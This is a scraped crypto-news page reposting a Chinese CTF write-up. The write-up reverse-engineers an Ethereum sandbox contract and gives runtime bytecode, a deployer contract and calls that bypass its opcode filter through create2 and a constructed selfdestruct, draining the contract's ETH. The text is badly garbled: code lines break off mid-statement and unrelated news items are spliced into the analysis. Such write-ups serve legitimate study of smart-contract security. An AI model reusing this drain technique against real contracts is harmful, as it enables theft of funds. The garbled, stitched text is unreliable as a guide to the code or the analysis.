基于samczsun的解析文章學習
分析原文:
本文都是基于https://samczsun
elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}
再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。
uint256array_0;//STORAGEuint256_owners;//STORAGE
依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。
幣安宣布聘請Rachel Conlan擔任全球營銷副總裁:金色財經報道,幣安今日宣布已聘請Rachel Conlan擔任該組織的全球營銷副總裁。Conlan將領導Binance的全球營銷和品牌活動,作為幣安的全球營銷副總裁,Conlan將向何一匯報工作,并監督該組織在全球的區域和全球營銷人員。除了監督全球和區域營銷團隊外,Conlan還將推動公司的品牌合作伙伴關系和娛樂資產。
據悉,Rachel Conlan此前擔任OKX品牌和合作伙伴關系的全球負責人。[2023/6/5 21:17:27]
首先是函數1:0x4214352d
function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg
//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg
Web3社交協議CyberConnect 3月月活突破73萬,創歷史新高:金色財經報道,據 Dune Analytics 數據顯示,Web3 社交協議 CyberConnect 3 月月活突破 73 萬,創歷史新高。此外,CyberConnect 推出的 ccProfile NFT 3 月鑄造量突破 59 萬枚,同樣創下歷史新高。[2023/4/6 13:48:15]
可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:
msg
=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg
與set_array函數類似
再看函數3:owners
functionowners(uint256varg0)publicnonPayable{require(msg
?ConsenSys創始人:NFT是一項可以重塑行業、意義深遠的發明:3月15日消息,以太坊聯合創始人、ConsenSys創始人兼首席執行官Joe Lubin在Camp Ethereal 2022峰會上表示,NFT技術是一項可以重塑行業的“意義深遠的發明”。他說,“人們問我在DeFi中做什么以及我正在獲得什么NFT,我確實喜歡每天開12個小時的會議,我讀了很多東西,我偶爾會玩一些交易,人們會給我發東西,但我在NFT領域并不是非常活躍。”雖然他沒有持有大量NFT,但Joe Lubin表示,這項技術的創造將對世界產生巨大影響。“NFT是一項意義深遠的發明,是計算機科學的一項重大創新。我們即將顛覆地球上的一切,我們即將將孤島時代轉變為社區時代,中介機構將變得更廣泛、更有價值、更有效。”(Decrypt)[2022/3/15 13:57:05]
=>functionowners(uint256_key)publicviewreturns(address){require(msg
ConsenSys 團隊參與國際清算銀行支持的多邊央行數字貨幣橋研究項目:11月9日消息,ConsenSys 董事總經理 Charles d'Haussy 發推表示 ConsenSys 團隊參與了多邊央行數字貨幣橋研究項目。mBridge 項目由香港金融管理局、泰國中央銀行、阿拉伯聯合酋長國中央銀行及中國人民銀行數字貨幣研究所共同發起,展示了國際貿易結算、跨境電商、供應鏈金融等 15 個貨幣橋潛在應用場景,包括高盛、匯豐、法國興業銀行和中國六大國有銀行等 22 家金融機構及組織參與項目測試。[2021/11/9 6:40:53]
最后看函數4:0x2918435f
function0x2918435f(addressvarg0)publicpayable{require(msg
v2=1;}require(v0);MEM=MEM(varg0
assert(v5<varg0
動態 | 韓國SK集團與ConsenSys合作開發區塊鏈中心:據Koreaherald消息,韓國SK集團信息技術解決方案部門SK Holdings C&C周二表示,已與美國領先的以太坊區塊鏈技術公司ConsenSys合作,開發供韓國企業使用的“企業區塊鏈開發中心”。SK表示,根據協議,設想的平臺可能包括SK Holdings C&C Cloud Z解決方案提供的主要服務和平臺,使公司能夠建立自己的基于區塊鏈的服務。SK還將與consensus sys合作,在年底前運營Ethereum開發培訓師項目,同時討論為開發人員開發符合韓國市場需求的區塊鏈課程。[2018/12/4]
v7,v8=varg0
require(v7);}
可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:
要求調用該函數的msg
v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners
i=1;}require(permit);
3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0
assert(v5<varg0
}
問題分析-2
現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。
首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義
簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。
故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。
先用opcode來寫runtimecode:
//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5
在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode
contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}
然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可
hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())
免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。
本文來源于非小號媒體平臺:
登鏈社區
現已在非小號資訊平臺發布105篇作品,
非小號開放平臺歡迎幣圈作者入駐
入駐指南:
/apply_guide/
本文網址:
/news/10087897.html
免責聲明:
1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險
2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場
上一篇:
SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」
本文由中幣研究院原創編輯,下載全球領先的數字貨幣交易所中幣APP:www.zb.today 熱點摘要: 1.葡萄牙首次向加密交易所授予運營許可證;2.V神:相對于Merkle樹.
1900/1/1 0:00:00鏈聞消息,據kontan.co.id報道,印度尼西亞商品期貨交易監管機構負責人IndrasariWisnuWardhana表示,目前政府正制定計劃,準備創建一個特殊的加密資產交易所.
1900/1/1 0:00:00親愛的KCC社區成員: KuCoinCommunityChain(KCC,庫幣社區鏈)主網已于2021年6月16日正式啟動。按照計劃我們將于即日起開啟"C計劃"第一階段,KCCGrants計劃.
1900/1/1 0:00:00親愛的BitMart用戶:BitMart將于2021年6月23日上線代幣100xCoin(100X)。屆時將開通100X/USDT交易對.
1900/1/1 0:00:00隨著NFT的財富效應顯現,越來越多人開始關注NFT與加密藝術領域。有傳統領域的藝術家們開始詢問,如何將自己的作品做成一個NFT展示給加密愛好者們。也有許多普通人躍躍欲試,想要創作一幅NFT畫作.
1900/1/1 0:00:00北京時間6月15日19:00,Kusama理事會投票通過并開啟了Kusama網絡第一個平行鏈拍賣的motion,這意味著Kusama網絡的第一個插槽拍賣已經開始.
1900/1/1 0:00:00